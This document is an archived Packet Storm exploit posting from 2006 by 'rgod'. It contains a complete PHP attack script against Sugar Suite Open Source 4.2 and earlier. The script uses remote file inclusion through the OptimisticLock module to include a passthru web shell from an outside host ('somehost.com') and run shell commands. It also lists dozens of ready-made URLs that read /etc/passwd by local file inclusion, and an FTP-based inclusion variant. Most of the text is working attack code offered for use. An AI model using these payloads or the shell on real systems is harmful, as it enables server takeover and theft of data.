sugarsuite.txt

2006-05-22T00:00:00
ID PACKETSTORM:46445
Type packetstorm
Reporter rgod
Modified 2006-05-22T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "Sugar Suite Open Source <= 4.2 \"OptimisticLock!\" arbitrary remote inclusion exploit\r\n";  
echo "by rgod rgod@autistici.org\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
echo "this is called the \"five claws of Sun-tzu\"\r\n\r\n";  
  
if ($argc<5) {  
echo "Usage: php ".$argv[0]." host path location cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to sugar suite\r\n";  
echo "location: an arbitrary location with the code to include\r\n";  
echo "cmd: a shell command\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /sugar/ http://somehost.com/shell.txt ls -la\r\n";  
echo "php ".$argv[0]." localhost /sugar/ http://somehost.com/shell.txt ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / http://somehost.com/shell.txt ls -la -P1.1.1.1:80\r\n\r\n";  
echo "note, you need this code in http://somehost.com/shell.txt\r\n";  
echo "<?php\r\n";  
echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";  
echo "ini_set(\"max_execution_time\",0);\r\n";  
echo "echo \"*delim*\";\r\n";  
echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";  
echo "echo \"*delim*\";\r\n";  
echo "?>\r\n";  
die;  
}  
  
/* software site: http://www.sugarcrm.com/crm/  
  
i) vulnerable code in modules/OptimisticLock/LockResolve.php:  
  
...  
if(empty($GLOBALS['sugarEntry'])) die('Not A Valid Entry Point'); //<--- the f@ke protection, nearly in all files  
...  
if(isset($_SESSION['o_lock_object'])){  
global $beanFiles, $moduleList;  
$object = $_SESSION['o_lock_object'];  
require_once($beanFiles[$beanList[$_SESSION['o_lock_module']]]);  
$current_state = new $_SESSION['o_lock_class']();  
$current_state->retrieve($object['id']);  
  
if(isset($_REQUEST['save'])){  
$_SESSION['o_lock_fs'] = true;  
echo $_SESSION['o_lock_save'];  
die();  
}else{  
display_conflict_between_objects($object, $current_state->toArray(),$current_state->field_defs, $current_state->module_dir, $_SESSION['o_lock_class']);  
}}else{  
echo 'No Locked Objects';  
}  
...  
  
you can include files from local & remote resources and launch commands, poc:  
  
with register_globals = On & allow_url_fopen = On:  
http://[target]/[path]/modules/OptimisticLock/LockResolve.php?GLOBALS[sugarEntry]=1&_SESSION[o_lock_object]=1&_SESSION[o_lock_module]=1&beanList[1]=1&beanFiles[1]=http://somehost.com/someshell.txt  
with register_globals = On:  
http://[target]/[path]/modules/OptimisticLock/LockResolve.php?GLOBALS[sugarEntry]=1&_SESSION[o_lock_object]=1&_SESSION[o_lock_module]=1&beanList[1]=1&beanFiles[1]=../../../../../../../../etc/passwd  
  
ii) arbitrary local inclusion issues in a lot of files:  
  
with register_globals = On & magic_quotes_gpc = Off:  
http://[target]/[path]/modules/Administration/CustomizeFields.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Administration/Development.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Administration/DstFix.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Administration/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/include/SubPanel/SubPanelViewer.php?GLOBALS[sugarEntry]=1&module=1&record=1&beanList[1]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Accounts/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Administration/Upgrade.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Bugs/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Calendar/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Calls/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/CampaignLog/Forms.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Campaigns/Forms.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Campaigns/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/CampaignTrackers/Forms.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Cases/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Contacts/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Dashboard/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Documents/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Dropdown/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Dropdown/Popup.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/DynamicFields/Popup.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/EditCustomFields/EditView.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/EditCustomFields/Forms.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/EmailMan/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Emails/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/EmailTemplates/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Feeds/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Home/PopupSugar.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Leads/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/MailMerge/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Meetings/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Notes/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Opportunities/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Project/Forms.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Project/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/ProjectTask/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/ProspectLists/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Prospects/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Roles/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Tasks/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Users/index.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
http://[target]/[path]/modules/Users/Login.php?GLOBALS[sugarEntry]=1&theme=../../../../../../../../../../../../etc/passwd%00  
  
with register_globals=On:  
http://[target]/[path]/modules/Administration/RebuildAudit.php?GLOBALS[sugarEntry]=1&beanFiles[1]=../../../../../../../../../../../../../etc/passwd  
  
and (on PHP5) arbitrary remote inclusion, including a file from a ftp resource:  
  
http://[target]/[path]/modules/Administration/RebuildAudit.php?cmd=ls%20-la&GLOBALS[sugarEntry]=1&beanFiles[1]=ftp://username:password@somehost.com/shell.txt  
  
this is the exploit tool for i)  
*/  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
  
}  
$host=$argv[1];  
$path=$argv[2];  
$loc=urlencode($argv[3]);  
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))  
{die("Check the path, it must begin and end with a trailing slash\r\n");}  
$port=80;  
$proxy="";  
$cmd="";  
for ($i=4; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{  
$cmd.=" ".$argv[$i];  
}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}  
  
$packet ="GET ".$p."modules/OptimisticLock/LockResolve.php HTTP/1.0\r\n";  
$packet.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n";  
$packet.="Host: ".$host."\r\n";  
//through cookies, it's the same, maybe can bypass some ids...  
$packet.="Cookie: GLOBALS[sugarEntry]=1; _SESSION[o_lock_object]=1; _SESSION[o_lock_module]=1; beanList[1]=1; beanFiles[1]=".$loc."; cmd=".$cmd.";\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"*delim*"))  
{  
echo "Exploit succeeded...";  
$temp=explode("*delim*",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
else  
{  
if (strstr($html,"Not A Valid Entry Point")) {echo "register_globals off here...\r\n";}  
echo "Exploit failed...";  
}  
?>  
  
original url: http://retrogod.altervista.org/sugar_suite_42_incl_xpl.html  
`